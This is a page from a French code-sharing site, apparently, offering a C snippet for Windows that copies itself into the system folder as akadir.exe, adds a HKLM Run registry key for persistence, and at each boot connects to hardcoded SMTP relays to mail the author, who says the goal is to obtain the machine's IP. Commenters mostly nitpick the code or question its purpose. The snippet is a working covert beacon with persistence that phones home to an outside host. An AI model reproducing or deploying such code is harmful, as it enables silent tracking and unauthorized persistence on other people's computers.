Envoyer un mail au demarrage du pc

Soyez le premier à donner votre avis sur cette source.

Snippet vu 12 973 fois - Téléchargée 32 fois

Contenu du snippet

clef dans la base de registre
copiage du soft dans c:\windows\system
mail
ya pas plus simple comme ecplication :p
compile ss VC6.00

Source / Exemple :


// ne pas oublier ws2_32.lib !!!!!!

#include <stdlib.h>
#include <windows.h>
#include <iostream.h>
#include <string.h>
#include <conio.h>
#include <Wininet.h>
#include <time.h>
#include <process.h>
#include "stdafx.h"
#include "stdio.h"
#include <winsock2.h>
#include<fstream.h>

// ya des includes inutiles ou en double ss doutes :p

void bdr()//bdr == base de registre
{
	HKEY key; //nom de la clef
	char windobedir[81]; //chemin du soft	
	char *progdir;
	
	GetWindowsDirectory(windobedir,50);//ou est le soft ?
	progdir = GetCommandLine();
	strcat(windobedir,"\\system\\akadir.exe");
	if(strcmp(progdir,windobedir) != 0)
		CopyFile(progdir,windobedir,FALSE);
	RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_ALL_ACCESS,&key);
	RegSetValueEx(key,"[Belou]",0,REG_SZ,(LPBYTE) windobedir,strlen(windobedir));
	RegCloseKey(key);		
}
void mail() // /!\ c'est un CLIENT
{
	WSADATA WSAData;
	WSAStartup(MAKEWORD(2,0), &WSAData);
	SOCKET sock;
	SOCKADDR_IN sin;
	char ip1[15] = "62.39.122.34";//je met 4 adresses paske ifrance c leseul ki fasse du relaying
	char ip2[15] = "62.39.122.19";//et que j'ai po envie de me faire chier pour faire une recherche du FAI
	char ip3[15] = "62.39.122.21";
	char ip4[15] = "62.39.122.32";
	char ip5[15] = "62.39.122.33";
	char buffer[1024];
	ofstream log("protsock.log");       // fichier pour enregistrer les données reçues.
	sock = socket(AF_INET, SOCK_STREAM, 0);
	int i = 1 ;
	for (int o = 1; o < 6 ; o++)
	{
		switch (o)		
		{
		case 1:
			sin.sin_addr.s_addr = inet_addr(ip1);//ifrance 
			break;
		case 2:
			sin.sin_addr.s_addr = inet_addr(ip2);//ifrance
			break;
		case 3:
			sin.sin_addr.s_addr = inet_addr(ip3);//ifrance
			break;
		case 4:
			sin.sin_addr.s_addr = inet_addr(ip4);//ifrance 
			break;
		case 5:
			sin.sin_addr.s_addr = inet_addr(ip5);//ifrance 
		}
		
		sin.sin_family = AF_INET;
		sin.sin_port = htons(25);       
		connect(sock, (SOCKADDR *)&sin, sizeof(sin));    // on se connecte sur le serv
		i = recv(sock, buffer, sizeof(buffer), 0);      // le buffer récupère les données reçues.
		if (i != 0)     // si le buffer ne reçoit pas des données.
		{
			send(sock,"Helo toto\n",strlen("Helo toto\n"),0);
			send(sock,"mail from:<biere_man@hotmail.com>\n",strlen("mail from:<biere_man@hotmail.com>\n"),0); //la j'ai mis MON adresse, alors change la si tu veux pas rin recevoir
			send(sock,"rcpt to:<biere_man@hotmail.com>\n",strlen("rcpt to:<biere_man@hotmail.com>\n"),0); //note que j'ai mis 2 fois mon adresse... tu peux mettre une autre,mais moi c pour recuperer l'ip ce truc
			send(sock,"data\n",strlen("data\n"),0);//bon la ca merde un peu en general .... mais je men fous j'ai l'ip et ce ce que je voulais
			send(sock,buffer,strlen(buffer),0);
			send(sock,"\n.\nquit\n",strlen("\n.\nquit\n"),0);
		}
	}	
	closesocket(sock);   // on ferme le socket.
	WSACleanup(); // on le nettoie
}

Conclusion :


on peut penser qu'une V2 viendra.....
bugs connu (attention .....) : n'envoie pas data !!!! (lie au fait que g mis deux fois la mm adresse ....) et pîs surtout ca c pas un bug, mais une fois que tu la execute, tu retrouve akadir.exe dans windows/system moi ca me derange po, mais bon, un mail de toi a chake demarrage, moi ca me gonlerait ...

A voir également

Ajouter un commentaire

Commentaires

thomwebster
Messages postés
63
Date d'inscription
mercredi 7 février 2007
Statut
Membre
Dernière intervention
14 juin 2007

As tu compris ce que faisait ce bout de code?
#  for (int o = 1; o < 6 ; o++)
# {
# switch (o)
# {
# case 1:
# sin.sin_addr.s_addr = inet_addr(ip1);//ifrance
# break;
# case 2:
# sin.sin_addr.s_addr = inet_addr(ip2);//ifrance
# break;
# case 3:
# sin.sin_addr.s_addr = inet_addr(ip3);//ifrance
# break;
# case 4:
# sin.sin_addr.s_addr = inet_addr(ip4);//ifrance
# break;
# case 5:
# sin.sin_addr.s_addr = inet_addr(ip5);//ifrance
# }

Tu fais une boucle pour o allant de 1 à 5 inclu et pour o=1 tu a une instruction, pour o=2 une autre ... pour o=5 encore une autre.
Donc ton bout de code en fait c'est:
sin.sin_addr.s_addr = inet_addr(ip1);//ifrance
sin.sin_addr.s_addr = inet_addr(ip2);//ifrance
sin.sin_addr.s_addr = inet_addr(ip3);//ifrance
sin.sin_addr.s_addr = inet_addr(ip4);//ifrance

Sans boucle for ni switch.
ça fait la même chose que ton code et c'est bien plus simple non?
kerneltony95
Messages postés
152
Date d'inscription
dimanche 22 janvier 2006
Statut
Membre
Dernière intervention
26 mars 2007

mais quel est le but de ton code?

ca se vois c' est pas toi qui la coder c'est du bricolage?
zinotron
Messages postés
65
Date d'inscription
vendredi 14 février 2003
Statut
Membre
Dernière intervention
11 septembre 2004

gethostbyname c pas mal non plus ...
BlackGoddess
Messages postés
338
Date d'inscription
jeudi 22 août 2002
Statut
Membre
Dernière intervention
14 juin 2005

menu démarrer/executer -> "cmd" sur NT/2000/XP, "command" sur 95/98/me
puis
ping ifrance.com

il va resoudre l'adresse, puis pinger l'ip.
cs_JCpp
Messages postés
334
Date d'inscription
samedi 12 janvier 2002
Statut
Membre
Dernière intervention
3 juillet 2010

Parement, le IP de ifrance a changé, par quel moyen je peux en trouver un autre ?
Merci

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.